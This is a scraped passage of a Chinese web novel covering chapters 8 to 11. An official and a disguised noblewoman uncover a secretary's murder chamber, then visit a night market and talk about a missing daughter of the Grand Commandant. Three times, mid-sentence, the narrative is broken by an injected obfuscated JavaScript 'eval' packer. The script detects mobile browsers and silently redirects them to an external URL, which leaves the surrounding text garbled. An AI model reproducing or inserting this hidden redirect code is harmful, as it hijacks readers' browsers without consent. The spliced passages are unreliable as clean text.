见到他们过来,驻守在屋内的领头衙役上前,一脸严肃地开口道:“大人,我们搜查之时在师爷的房间里发现了一个地道,然后顺着地道一路摸过去之后,里面的场景……有些血腥,不知大人是否要亲自……” “本县当然要亲自去看看!” 不等那衙役说完,县令便高声打断他,视线再次从被羁押的师爷身上划过:“我倒要看看,在本县的眼皮子底下,我的好师爷到底给了我一个多大的惊喜。” 说着,他便制止了周围人想要在前方带路的举动,让人打开地道口,自己先走一步。 见状,沈付雪看景凭生一眼,也不多说什么,跟着就要往前走。 但…… “过来。” 在她路过的时候,那人一把扯住了她。 8. 第 8 章 景凭生身上又披了个披风。 这是沈付雪刚在路边见他时就注意到了的。 只是现下……这披风又到了她的身上,倒像是跟“天冷加衣”这四个字过不去了似的。 沈付雪无奈地笑了下,而后便见景凭生旁若无人地牵住她的衣袖,假惺惺地说了句“失礼”后便自顾自地带着她穿进地道。 沈付雪想了想,还是说:“大人,我自己可……” “但我不可以啊。” 像是知道她要说什么,景凭生直接开口打断她,而后又道:“没有阿泽跟着,我不放心背后,云娘子既已是我们大理寺预备成员,那便是值得信任之人。” “如此,走在贪生怕死的少卿大人后面,保护他,难道不是云娘子应该做的吗?” 沈付雪:…… 沈付雪无力反驳。 只好垂眸轻言:“大人说的是。” * 地道阴凉,混杂着潮湿的水汽,滴答滴答的声音倒真有种让人脊背发凉之感。 沈付雪镇定自若地跟在景凭生身后,不知过了多久,前方终于有光亮出现,似是到了地道尽头。 “大人您走慢些……” 伴随着某一衙役的无奈提醒,队伍中那阴森诡谲的气氛终于有所缓解,沈付雪听到好些人都悄悄地松了口气。 “怕什么?这里又无甚鬼神,左右不过是人力所致,能有什么好……!!” 县令反驳着,但最后两个字还未说完,地下室的场景便直冲冲地映入眼帘。 触目惊心。 “呕——” “哕——” 呕吐声此起彼伏,就连见过许多阴暗血腥之景的少卿大人都忍不住变了脸色。 沈付雪避开遮挡,抬眼往前望去。 纵使心中已然有了猜测,但在真正看到被拐之人的下场之时,浓烈的血腥味仿若直冲人脑,强烈撞击的同时又带来些许眩晕感。 一阵阴风拂过。 被悬于半空中的人体摇摇晃晃,他们被穿透了琵琶骨,顺着铁链,丝丝缕缕的血迹滴落下来,血迹落在大盆里,混于浓稠的液体之中,却只发出轻微的,嘀嗒声响。 眸光一转,角落里是层层叠叠的尸体,他们了无声息,眼眶里的圆体死死盯着外界,好似在倾诉不甘,又好像什么都没有。 视线下落,只见得他们的皮肤粘连在了骨头上,明明满目鲜红,但他们的身体里却连一丝血迹都找不见。 …… 嘀嗒。 嘀嗒。 …… “此处……可还有幸存之人?” 单薄的话语从嘴里艰难吐出,哪怕已然知道是不可能了,但县令还是颤抖地问出了口。 “回县令……” 一旁的衙役上前,垂着头,沉默良久才说出那两个字:“……并无。” 令人窒息的气氛里,只听“啪”的一声,响亮的耳光打在师爷脸上,县令指着他,手却止不住地哆嗦:“你、你个畜牲!!到底是何原因,竟让你做出如此大逆不道、如此灭绝人性之事啊!!!” 县令痛心嘶嚎,恨不得当下就将他碎尸万段。 与此同时,自罪行暴露就一直保持沉默地师爷忽地抬起头来,望向县令的眼睛里满是阴狠,“不过是死几个人而已,欲求长生,莫说是他们,就算在场所有人都被献祭又有何妨!为我长生而死,也是你们死得其所,死……” “啪!” 又是一耳光打在脸上,止住了他的狂妄之语。 “……将他押下去吧。” 县令扶着额,有气无力地开口道。 师爷还想再说些什么,却被一旁的衙役眼疾手快地堵住了嘴。只听得一阵“唔唔”的声音,伴随着窸窸窣窣的声响过后,地下室随即恢复宁静。 “大人,这些人……” 有衙役小声询问。 县令低垂着头,没有再看那些被害之人的凄惨模样。只长叹一口气,道:“着他们的家属来认领一下吧,记得一定要好好安抚家属,该下葬的下葬,该发放的恤银也一个子都不能少。此次事态严重,一定要把控好每一个细致之处,不要让百姓们寒了心……” 闻言,衙役默默应下。 但欲言又止片刻,他还是把那句话问出了口:“大人,师爷毕竟是您的左膀右臂,倘若家属问起事由……” “如实回答便是。” 县令语气严肃,“亲近之人受到此等迫害,他们有权知道真相。至于其余之事,本县自会处理,各位不必忧心。” 疑虑得到解决,众衙役便也不再多言,连忙循着县令的指令,一部分搬尸体,另一部分则去查档案联系受害者家属……虽然气氛依旧沉重,但幸而一切都在有序进行着。 “景大人。” 事情安排结束,县令这才空出时间来看向景凭生,语气忐忑地开口问:“方才未见景大人言语,下官便自作主张地做了安排,不知景大人……可有哪里要指点下官一二?” 县令说完,沈付雪也被此话题吸引,便顺着他的目光,抬眼看向景凭生。 接着,在两人的注视下,景凭生启唇,缓缓吐出两个字:“并无。” 沈付雪:…… 县令:松一口气。 “虽方才所述无甚问题,但……有关那犯人的处置,你可要好好考虑。” 话音落下,景凭生抬眼往前看了眼,目光深沉幽邃。 见他意有所指的一瞥,沈付雪几乎是瞬间就明白了他的用意。 那师爷罪大恶极,所行所举天理难容,必然会激起民愤。故而,除却安葬受害者和发放恤银这种最基本的安抚方式,如何处置犯人才是此般案件至关重要的一点。 显然,县令也是明白这一点的,“多谢大人提醒,事态紧急,那下官就先行告退,若大人有什么需要,尽管吩咐小徐便可。” 小徐,也就是徐青,他便是县令的那位心腹,此刻被委以重任,便不疾不徐地走上前来,朝着两人行了个礼。 事情安排妥当,县令便甩袖欲走。 但途径沈付雪的时候,县令顿了顿,又加上一句:“云娘子也是。” 救下被拐之人,又在被冤枉的情况下不计前嫌协助县衙破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227981|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案,于情于理,云雪笙都该得到县衙的尊重。 故而,让其享受景大人的同等待遇……应当就是对其最好的补偿了吧? 县令这么想着,脚下步子却不停,带着剩下几名衙役匆匆离去。 狭隘的通道里,尸体一具一具地往外运。 徐青首先开口:“二位贵客,此处不宜久待,不如我们先去会客厅,喝杯暖茶?” 景凭生怎么想的沈付雪不清楚,但在徐青提出建议后她第一个反驳:“还是回大堂吧。” 说着,沈付雪转身,同某人擦肩而过。 “那里还有人在等着我。” 某人:…… 眼看沈付雪已经走出好一段距离,景凭生却站在原地岿然不动,徐青左看看右看看,最终夹在两边赔笑道:“大人您看……” “自然是听云娘子的。” 景凭生盯着那道渐行渐远的身影,忽地冷哼一声:“左右他年少,只有等着的份儿。” 徐青:?? 不是很懂少卿在说什么。本着尽职尽责的原则,他本想问上两句,但甫一抬头就见少卿跟云娘子似的,已然走出去好远。 于是他只得深吸一口气,加快脚步奋力追过去。 * “云娘子。” 出了地道,景凭生便自然而然地走到沈付雪旁边,开口叫了她一声。 但……不知是不是在心里盘算些什么,景凭生叫完人后却也不再开口,直到沈付雪疑惑地看过来,他才慢慢悠悠地接着上话道:“云娘子既已选择加入大理寺,那便提前做些准备吧。待此间事了,可就要动身前往京城了。” 京城…… 明明是她生活了将近二十年的地方,此刻听在耳里,却陌生的仿若第一次听闻似的。 不过景凭生说的对,她是要提前做些准备了。 在动身京城之前,她必须确保自己的伪装万无一失。最起码……最起码也要在她有能力寻仇之前,无人知晓云雪笙的真实身份。 但……景凭生或许是个例外。 沈付雪十分怀疑他已然知晓了自己的真实身份。只是为何知晓,又为何不揭穿她……他的身上有太多谜团,沈付雪只能慢慢地,一步步地去搜寻答案。 看来,她得找个机会套套他的话了…… 思及此,沈付雪抬起眸,本欲不动声色地往一旁看上一眼,可谁知她方才扭过头去,就意外地跟人对上了视线。 不祥的预感涌上心头,沈付雪下意识地开口,堵住那人或许会不着调的言语。 “多谢大人提醒,民女自当做足准备,不会给大人添麻烦的。” 言罢,沈付雪扭回头,为防景凭生再说些什么她招架不住的话来,本欲再加快些步子往回赶,但忽地她又想起另一件事。 于是,在景凭生的冷脸注视下,沈付雪又偏过头,只是这一次是看向了徐青。 “徐衙役,民女有一事想要请教。” 徐青大气点头。 而后就听见沈付雪真诚发问:“不知我们县衙可有规定……协助县衙办案,提供线索者——赏金几何?” 9. 第 9 章 寒风萧瑟。 众人方才已离大堂不远,约莫再有十几步的样子便能将这寒风阻挡在外。 但在贫穷的驱使下,迎着景凭生无奈的目光,几人硬是从终点处绕了个弯,待领到赏银后才又美美地转回来。 沈付雪边走边掂掂手中那沉甸甸的袋子,心中大致估算了下待会儿夜市上要买的东西,确保买完还能有不少剩余后,这才心满意足地把钱袋子揣了起来。 “云娘子!” “云娘子~” 方才走到大堂门口,两道熟悉的喊声便从里面传出来。 阿澈沉稳,安安则更活泼一些,小脚“哒哒哒”地跑过来,开心地扑进沈付雪的怀里。 “云娘子,方才安安都看到你了,但是安安走到门口,云娘子又不见了……不是安安说谎哦,阿兄可以作证,他也看见娘子了呢。” 开开心心地被抱起来,安安搂住沈付雪的脖颈,扬起脸像个小雀儿似的,叽叽喳喳地在她耳边说话。 沈付雪笑着回应:“云娘子当然相信安安,安安没有说谎,是云娘子去给安安准备惊喜了哦。” 安安瞪大眼睛:“哇!真的吗!云娘子想告诉安安是什么惊喜吗!” “嗯……当然想呀。”沈付雪揉揉安安的小脸蛋儿,又道:“可是虽然很想告诉安安,可安安现在还不能知道哦。” 见小女孩儿的脸上露出不解,沈付雪又补充一句:“因为等一会儿安安就能亲眼看见啦!提前知道就没有惊喜了哦。” 安安:“原来是这样!安安明白啦!谢谢云娘子!云娘子果真和阿兄说的一样,是天下第一好!” “扑哧”一声,沈付雪没忍住笑出声。 她抬起眼,视线落在阿澈的身上,语气揶揄:“哇!真的吗!阿澈也觉得云娘子是天下第一好嘛?” 阿澈:…… 脸颊瞬间红温,他低着头嗫嗫喏喏好一会儿,就在沈付雪良心发现要替他解围的时候,阿澈却忽地抬起头,目光坚定:“是。” 沈付雪:“……嗯?” 本也只是玩笑之语,没想到阿澈却如此认真。沈付雪愣了一会儿才反应过来自己听到了什么。 阿澈看着她,又道:“安安和我从小便被父母抛弃,不知自己姓什名谁,不知前事,也不知未来……此次生死危机,是云娘子救了我和阿妹安安,所以……于我们而言,云娘子自然就是天、天下第一好的娘子。” 前一秒还严肃正经,下一秒夸人的时候,容易羞涩的性子还是让他卡了壳。 阿澈低下头,恨不得在地上挖出一个洞,然后把头埋进去…… 心中仿佛被阳光快速闪了一下。她也需要从这个案子中脱身,救下两人本只是顺手之事,并没奢求什么回报。但如今被人此番评价……沈付雪弯了弯眸,伸手揉了揉少年柔软的头发:“阿澈何须如此客气,且不说你也帮了我许多,前些日子我说过的话,你可是忘了?” 闻言,阿澈抬起头,看向沈付雪的目光清澈透亮。 末了他浅浅一笑:“自是记得。云娘子……是家人。” “是家人哦~” 怀里的安安探出头来,重复一句。 县衙公堂严正肃穆,但此时此刻,即便是局外之人,也不由得被这温情所俘获。 连带着站在一旁懒洋洋地倚着侍卫阿泽的景凭生,也是忍了又忍,才没在方才那少年开口的时候出言打破这一片温馨。 直至此时,他方能插上一句: “云娘子,可叙完旧了?” 沈付雪回头看他。 “天色已晚,云娘子一人带着两个小孩儿未免太过扎眼,若是不嫌弃,我护送娘子一段路如何?” 景凭生稍稍站直了些身子,边说边往阿澈那边看上一眼。 对上他的视线,本想反驳自己已经不是小孩子的阿澈却只是张了张嘴,最后什么也没说。 “少卿大人这般体贴,民女自是愿意的。”沈付雪浅然一笑,只稍作考虑后便答应下来。 “不过……”她话音一转,“少卿大人既敢邀请我加入大理寺,想必是已然摸清了民女的底细。民女一介流民,又初入此地,哪有固定的居所?” “少卿大人此言,莫不是给民女,也给阿澈他们安排好了住处?呀,少卿大人此举可真是解了雪笙的燃眉之急呢。那雪笙……就先谢过少卿大人了。” 不给景凭生回话的机会,沈付雪就自顾自地给自己找了个免费的宅子住。 不过她也没说错,生性多疑本就是上位者的一贯作风。如今三娘子已死,明面上便再无人知晓她的来历,短时间内,景凭生即便查也不会在她身上查出什么,唯一合理的解释便是她是个居无定所的流民,与其让景凭生开口问,还不如她“自爆身份”,将主动权握在自己的手上。 如此,便要看景凭生会不会顺着她搭好的台阶,拾级而上了。 堂内声音渐渐小去,气氛僵持间,景凭生忽地弯唇一笑: “娘子聪慧,我们不日就要动身京城,自然是要住在一起的。至于这两位……”景凭生微微偏头,看向一旁兀自沉默的少年,道:“既是家人,某自会帮他们安排好住处,娘子安心就是了。” 沈付雪:“那便多谢少卿大人了。” 至此,拐卖案毕。 众人在阿泽的招呼下上了马车。 * 月空高悬,随着马车的不断前行,嬉闹声和叫卖声逐渐变得清晰起来。 沈付雪掀起帷裳,抬眼朝外看去。 与此同时,阿泽的声音从外传来:“云娘子,前面就是饮安城最热闹的夜市了,云娘子可要和我家大人下去玩上一圈?” 闻言,沈付雪偏过头看景凭生一眼。 本想说她带着阿澈和安安两人去逛就好了,但转念一想,她又换了主意,道:“好啊,民女正想去夜市上采购些衣装,就是不知道少卿大人……意下如何?” “嗯?”景凭生颇有些意外地挑了挑眉,没想到她竟然会应下阿泽明显是开玩笑的话。 但……景凭生自是答应的。他对上沈付雪的视线,笑:“云娘子邀请,某……欣喜之至。” 无视他的情感抒发,沈付雪礼节性地点了点头,而后便在阿泽停下马车的时候,自顾自地首先跳下马车。 待众人皆准备好,沈付雪牵着安安,四下看了眼,“前面好像就有一家衣裳铺子,不如我们先去那里吧。” 安安无异议,阿澈无异议,景凭生更是无甚异议。 唯独阿泽开口说了句:“云娘子,好不容易和我家大人出来玩,安安就由我来照看吧,待会儿采买的东西也让我来提,您啊,专心逛就好了。” 沈付雪:…… 伸手不打笑脸人,更况且边逛街边看顾安安的话,确实不是很方便。于是在询问了安安的意见后,确定没问题,沈付雪这才将安安托付给了阿泽照顾。 一旁的阿澈见此,左右犹豫了会儿,终究还是不放心阿泽,跟在了他的身后,以便有什么意外情况的话能及时保护自家阿妹。 五人很快便自发地分成了两派。 在约定好碰面地点和时间后,安安便一手拉着自家阿兄,一手拉着阿泽,兴致冲冲地朝着不远处的小吃摊狂奔而去。 沈付雪笑着看几人走远后,这才散步似地,慢悠悠地朝着衣裳铺子挪去。 “说起来……” 沈付雪拉长声音,似很不经意般地提起:“少卿大人身居要位,怎么会来到饮安城这种小地方呢?莫不是跟那话本子里说的一样,有秘密任务?” 景凭生睨人一眼,见她神情轻松惬意,感受到他的视线后甚至还毫不畏惧地同他四目相对……景凭生忽地轻笑出声,道:“任务……倒真是有一个。只是也算不上什么秘密。” 沈付雪悄悄竖起耳朵。 “其余事暂且不提,云娘子虽是初来饮安城,对这里不甚熟悉,但海黎国大败的消息应当还是知道的吧。”见她点头,景凭生接着道:“海黎国大败,我国军队凯旋,饮安城便是他们所选择的,归京要途径的地点之一。” “只是……天有不测风云,我国军队在抵达饮安城外的一片竹林时,不幸遭遇敌军伏击……无人生还。” “少卿大人也觉得,当真是‘天有不测风云’?!” 不待景凭生说完,沈付雪就忽然激动地,语速飞快地脱口而出这句话。 等她反应过来的时候,景凭生已然神态自然地移开了视线,好似对她的反常没有一丝怀疑。 静默良久,景凭生又偏过头来,看向她的目光温柔清亮,像是把今夜的星光淬进了眼底,“某说过,云娘子是聪慧之人,云娘子的所思所想,便是我的所思所想。我们……是一路人。” 心脏仿佛倏然漏掉一拍。 沈付雪很想就这么不管不顾地问上景凭生两句,问他是不是已经知道了自己的身份,问他为什么还不揭穿自己,再问问他……为什么会这么坚定地站在自己身边。 可……她不能。 她能做的,只是低下头,像个刺猬似地把自己包裹起来,沉默不语。 耳边传来一声轻叹,景凭生目光有一瞬的恍惚,但回过神来,他也只是轻笑一声,接着之前的话继续道:“云娘子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227982|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想知道我此次出行的任务吗?” 沈付雪抬起头,就见那人抬了抬下巴,示意她看向左侧的店铺:“大理寺少卿的行程可是机密,一般人可没有机会探听这些。不过,看在云娘子马上就要正式加入大理寺的份儿上,我这个少卿大人就破一次例,只要云娘子……亲手替我选一件衣裳可好?” 少卿大人话语温柔,虽在沈付雪看来是有些莫名其妙的,但却带着极致的诱惑力,使得沈付雪只思考了不到一秒就点头应下:“这有何难?” 身为大家小姐,最基础的审美能力她还是有的。 沈付雪眉毛微挑,不知何时就跟他做成了一样的姿势,双手环胸,带着满眼的自信就大跨步走进了旁边的衣裳铺子。 与此同时,她尚未注意到的是,方才因那些话而产生的负面情绪,也在不知不觉中消散了许多。 景凭生目光深深地看着她的背影,吸一口气,也跟着走进去。 * 这衣裳铺子看着不起眼,但甫一进去,沈付雪就感受到了银钱的气息。 一楼衣物已然琳琅满目,用料看上去也颇为上乘,二楼想必就更加优越了,嗯……但相应的,也会更加昂贵。 沈付雪默默地伸开手,又掂量了下自己刚得来的小荷包,犹豫了会儿,觉得自己现下还是先在一楼采买为好。 这么想着,沈付雪便走上前,对着店家开口道:“劳烦……” “带我们上二楼。” 沈付雪话刚开了个头,就被身后的景凭生截胡,止住了还未说完的话。 沈付雪回过头去看。 被她毫无波澜的视线盯着,景凭生也不慌,只垂下眸,自顾自地拂了下自己的衣袖。 沈付雪:…… 上乘且稀有的用料,细腻又精致的针脚……一楼的衣物确实是有些配不上我们娇贵的少卿大人了。 有求于人的沈付雪只好咬牙认下,跟着笑眯眯的店家走上二楼。 “哒哒”的脚步声下,有男女嬉闹的声音从楼上传来,无人在意。 “你可有喜欢的款式?” 边走,沈付雪边扭头询问景凭生,试图作弊。 然而—— “好好走路。” 仗着长得高,景凭生直接伸手扶住沈付雪的头,动作轻柔地让她把视线转了回去。 沈付雪:“……哦。” 但是待走完最后一级台阶,沈付雪又扭过头去,目光直直地盯着他看。 景凭生心里想笑,面上却装出一副正经严肃的样子:“没有。” 沈付雪:“哦。” 三秒后,沈付雪又一次扭头:“那你有什么喜欢的颜色吗?” 景凭生:“……没有。” 沈付雪:“哦。” “那你……” “不许作弊。” “哦。” 见怎么也撬不开景凭生的嘴,沈付雪便明智地选择了放弃。 旁边的店家见状,本想帮她推荐几身成衣,但开口前下意识地看了景凭生一眼,看完后便打消了开口的想法。 于是,沈付雪自食其力,一连拿了好几身成衣在景凭生的身上比划,但都觉得差了点什么。 店家:“若是这些都不满意的话,您可以再往前走走,我们店里的最好款式啊,都在里面呢~” 沈付雪点头,刚想大步走过去,但无意间瞥见景凭生缀在身后有些磨蹭,便下意识地拽住他的衣袖,带着他往前走。 景凭生:…… 目光落到那被抓出了褶子的衣袖上,景凭生的心情反而更加明媚。 “嗯?这件好像还不错……” 跟着店家又往里走了些许距离,沈付雪正眼睛四处转着圈地去看,忽地眼前一亮,对着一件鸦青色的圆领袍细细打量。 衣服被放在了高处,沈付雪越看越满意,便伸出手去感受它的用料如何。 然而手指刚接触到衣服,沈付雪便察觉到了触感有些不对。 圆润的、温热的…… “抱歉,是我失礼了。” 无意跟她接触到的手指飞快缩回去,对面的人礼貌道歉后,才从衣服后探出头来,往这边看。 身体的反应甚至快过脑子,在众人都尚未反应过来之时,沈付雪便已经飞速转身,将头埋在了景凭生的肩膀之下。 “云……” 景凭生正欲开口询问,却在话脱口而出的那一瞬间,看清了对面的人是谁。 仅仅是一句话,一个声音……便能引起她如此大的反应…… 景凭生垂下眼,目光落在怀中女子的发顶上。 10. 第 10 章 气氛倏地有些沉默。 伴着些许莫名的剑拔弩张之意,一双柔若无骨的手攀上高大男子的臂膀,声音娇脆:“元哥哥,发生什么了……” 寂静被打破,景凭生回过神来,看了那说话的女子一眼后便收回视线,“没想到能在这里碰到元兄,好巧。” 他盯着对面的男子,明明是带着笑意的话,但听在元淮毅的耳里却怎么都有种奇怪的感觉。 ……想必是他多虑了吧。 即便他这个皇帝当得还不算很安稳,但无论如何他都是皇帝,景凭生虽然还有个苗疆圣子的名号在,但在京城也不过区区四品官员,想也不会有那么大的胆子来阴阳他。 如此想着,元淮毅也做出一副惊喜的样子,同他寒暄两句。 只是他的视线却不可避免地频频往景凭生的怀里看去。 这个背影…… 好生熟悉。 元淮毅皱眉盯着他怀中的女子,终还是忍不住开口道:“方才唐突,不小心惊扰了娘子,还请娘子见谅。” 正把自己的脑袋抵在少卿大人心口处反思自己的沈付雪闻言,沉默了两秒。 现下再怎么懊悔自己方才反应过激也晚了,所以沈付雪干脆摆烂到底,在那人问过来的时候悄悄抬起手,捏住少卿大人的衣角轻拽了两下。 景凭生垂眸看过去,方才还有些沉郁的心情瞬间好上不少。 于是,他伸手揽住怀中女子的肩膀,代她答道:“元兄哪里的话,雪儿只是有些怕生罢了,待会儿我好生哄上一番便好,元兄不必忧心。” 嘴上这么说着,但心里怎么想的…… 不仅景凭生自己知道,就连元淮毅都听出来了一二。 看似正常的话,但细品之下倒像是在赶人似的,元淮毅不知是自己太过敏感还是怎么,他总觉得此次见面,少卿便对他有股莫名其妙的敌意…… 但没有理由可以解释,元淮毅便只能将这种奇怪的念头压在心里,安慰是自己多想了。 只是,帝王的心思总归复杂。 元淮毅目光隐晦地在沈付雪身上扫过。 “雪儿……倒是个好名字。先前从未见过你身边有女子出现,不知这位娘子……” “就是元兄心里想的那样。” 景凭生笑着把话踢回去。 至于他和沈付雪到底什么关系,元淮毅怎么想的,那便是什么好了。 被他此般拂下面子,元淮毅眼神有一瞬的阴狠,但很快又恢复成原本的温和模样:“如此,倒是恭喜凭生了。” 言罢,手臂适时地被拽了一下。 “元哥哥……” 身旁的女子轻轻喊了声,元淮毅顺势而下:“那便不打扰二位了,我还有事,二位自便。” 景凭生含笑应下。 直到这两人走出二楼,脚步声渐渐消失,他才低头看向自己怀中的女子,眉毛轻挑:“人都走了,莫非云娘子还是怕?” 闻言,沈付雪面无表情地从他怀里退出来。 “我……” 正想说些什么,但沈付雪敏锐地察觉到一旁暗戳戳看过来的视线,便止住了要说出口的话,对着那看戏的店家道:“就这件了,劳烦先打包起来罢,我们再去看看其他款式,不用跟着。” 言罢,沈付雪便像先前过来时的那样,再次牵住景凭生的衣袖,带着人走向二楼的另一个角落。 这里恰好摆了些孩童衣服,沈付雪便顺势挑了起来,绝口不提方才的事。 但…… 景凭生显然没有要放过她的意思。 “云娘子……不打算解释下吗?” 沈付雪回头看他,正欲开口反驳,就见那人演戏似地轻叹一声,望向她的眼神专注,眸光流转:“还是说,某在娘子眼里只是一个趁手工具,用完就能随意丢弃呢?” 沈付雪:“……” 默默在心里叹了口气。 她回过身,双手抱臂,目光直直地跟他撞上:“大人哪里的话,方才大人不是已经说了?民女确确实实是被吓到了,所以才会……” 战略性地停顿一会儿,沈付雪又道:“大人莫要见怪,民女后来也并非是要赖在大人的怀里不走,只是那般情境下,换做是大人,也没有更好的解决办法吧?” 絮絮叨叨地说了好长一段话,沈付雪弯眸一笑,三两步走上前后伸手攀上他的小臂:“方才的衣裳……” 沈付雪抬眸望着景凭生,目光缱绻:“大人可还喜欢?” 如此明显的美人计…… 景凭生轻笑出声:“自是喜欢的。” * 先前说要帮忙提东西的阿泽早已不知道去了哪里,沈付雪本欲自己拿着,毕竟景凭生是上级,她也没有娇贵到连几件衣裳都提不起来的地步,与其麻烦别人,倒不如自己拿着省心。 但这边店家刚把袋子递过来,那边景凭生就十分丝滑地接了过去。 沈付雪偏头看他,而后被人回看过来:“怎么了?” “……没什么。” 沈付雪咽下即将说出口的话。 他想提着就提着好了。反正她乐得轻松。 这么想着,沈付雪率先走出铺子,道:“大人可还有什么要置办的东西?” 景凭生被问的愣了一下,而后道:“应该是没有的。” 说完,似乎是怕她听不懂,景凭生又补上一句:“平常都是阿泽在管这些,倒是没觉得有什么东西不够用。” 沈付雪:…… 她不该问的。 即便是在她尚为太尉府二小姐的时候,也没有这般“不问世事”。如此看来,景凭生倒是比京城的一些大家小姐还要娇贵。 被自己的联想逗笑,沈付雪不自觉地弯了弯唇。 “既如此,那我们便先回去吧,正好同阿泽他们约定的时间也快到了。” 景凭生应了声,示意自己无异议。 而后,他便听到沈付雪颇有些迟疑地开口道:“大人既对民女挑选的衣裳满意,那……是不是该兑现自己的诺言了?” 一件衣裳换他讲出此行的目的,景凭生自是没忘。 只是…… 景凭生目光沉静地看着前方的背影,想说的话换了又换,最终只道:“先前不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227983|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了,少卿大人的行程可是机密,此处人多耳杂,云娘子离我那么远,若是被人听去了怎么办?” 闻言,沈付雪回头,恰好对上那人含笑的眼睛。 两人僵持几秒,终是沈付雪败下阵来,默默地往后退了两步,胳膊挨着他的胳膊,道:“现下可以说了?” 景凭生定定地望进她的眼里:“云娘子就那么想知道?” 见她不语,只是望着他,景凭生又笑了声,而后道:“军队凯旋,等在饮安城里的人却迟迟不见他们前来,太尉府上的一位小姐前去查探后却也不见归来,众人这才察觉到不对,等他们赶去那片竹林的时候,见到的就是一众将士惨死的景象。但……唯有一人……” “生不见人,死不见尸。” 景凭生说着,视线落到身旁女子的眼睛上,看着她。 沈付雪毫不畏惧地迎上他的视线。 “所以……”她神色清亮,坦荡地像是在讲别人的事,“大人的任务,就是要找到这个,‘生不见人,死不见尸’的人咯?” 景凭生点头:“嗯。” “那大人可有找到此人?” 景凭生望着她,忽地挑了下眉:“云娘子怎么如此关心这件事?” 沈付雪不慌不忙:“事关家国,难道大人希望看到众人漠视的场面?” 每一句话她都说的有理有据,好似自己真的只是一个因为关心国家关心英雄,才对这件事追问不休的普通百姓。 景凭生只是笑,并不多说什么。 就在沈付雪犹豫着,再追问下去会不会太过明显的时候,景凭生开了口。 “人找到了,虽说尸体已经被水泡得不成样子,无法通过相貌来辨认,但……她的身上有一块玉佩,且无论是衣裳还是身形,都对得上。” “官府这边已经确认了,云娘子不必再挂心。” 闻言,沈付雪重重在心里松了口气。 紧接着,似是因为一直紧绷的神经忽然松下,沈付雪眼前倏地一黑,差点就要平地摔去。 一旁的景凭生笑着扶住她,“人被找到是好事,但云娘子也不必激动至此。” 沈付雪勉强一笑,“可能是因为大人没有心吧。” 景凭生:“……” 他暗戳戳地咬牙,末了还是忍不住想招惹她:“说起来,云娘子可知这位失踪的人是谁?” 沈付雪很想说不想知道,但鉴于方才爱国的人设已经卖了出去,此刻便只能附和着他问:“是谁?” 景凭生:“太尉之女——沈、付、雪。” 许久未曾听见自己的名字被喊出来,沈付雪说不清她现在是什么情绪,好像有些恍惚,有些伤心,又有些喜悦……但更多的,却是委屈。 像是久久搬着的石头终于落了地,她也没有自己想的那么坚强,负面情绪一股脑地涌上头来,叫她忍不住想要大哭一场。 但……她还不能。 即便景凭生很可能已经知道了她的身份,但只要他没有挑明,她就要一直伪装下去。 因为她没有人可以依靠。 她能相信的,只有自己。 11. 第 11 章 明月当空。 小小的街道依旧喧嚣热闹,大树挥舞着所剩无几的叶片,飒飒声附和着小贩的叫卖声,却莫名叫人心情舒畅、宁静。 身边跟着任劳任怨的少卿大人,沈付雪背着手,一步一顿地往前走。 “云娘子!” “大人——” 欢快的呼喊声从前方传来,走在前面的沈付雪回头看少卿大人一眼,见他提东西提得开心,便也不再管他,一路小跑着往前去。 景凭生看着她,无奈又好似有些宠溺地摇头一笑。 “大人,我来提我来提——”阿泽很有眼力见儿地接过景凭生手里的一堆盒子袋子,末了一脸八卦地问:“大人,您和云娘子回来这么晚……玩得还开心吧?” 景凭生瞥他一眼,“啰嗦。” 不理会阿泽的话,景凭生下意识地又看向沈付雪那边。 自太尉之女的名字被提起,两人自说自话地聊了几句后,便很是默契地结束了这个话题。 只回来路上看到些新奇玩意儿,两人又走街串巷地逛了好一会儿,这才回来的有些晚了。 但要说心情如何…… 景凭生视线落在那正蹲下身,一脸温柔地接过小女孩递过来的糖葫芦,眉眼皆是笑意的女子身上。 他想,应当是开心的。 * 马车驶出夜市,又过了许久,才来到少卿大人在饮安城购置的一所宅子处。 因着房间每日都有下人打扫,故而即便他们今日来得突然,也是能当即就住下的。 宅子里闲置的房间不算少,景凭生原本是给他们三人每人都安排了一间房的,但考虑到安安年纪尚小,又问过她的意见,沈付雪最终让人搬进了自己的房里,两人在一间房里,也算是有个照应。 怀里抱着已然熟睡的安安,沈付雪边往房间走边小声对着身旁的几人道:“时辰也不早了,那我就先回房了,各位也早些歇息罢。” 看着她怀里的阿妹,阿澈首先回应道:“辛苦云娘子照顾安安了,我的房间就在隔壁,娘子若是有什么需要,不必顾及时辰,什么时候来喊我都可以的!” 沈付雪笑着回:“自然不会跟阿澈客气。” 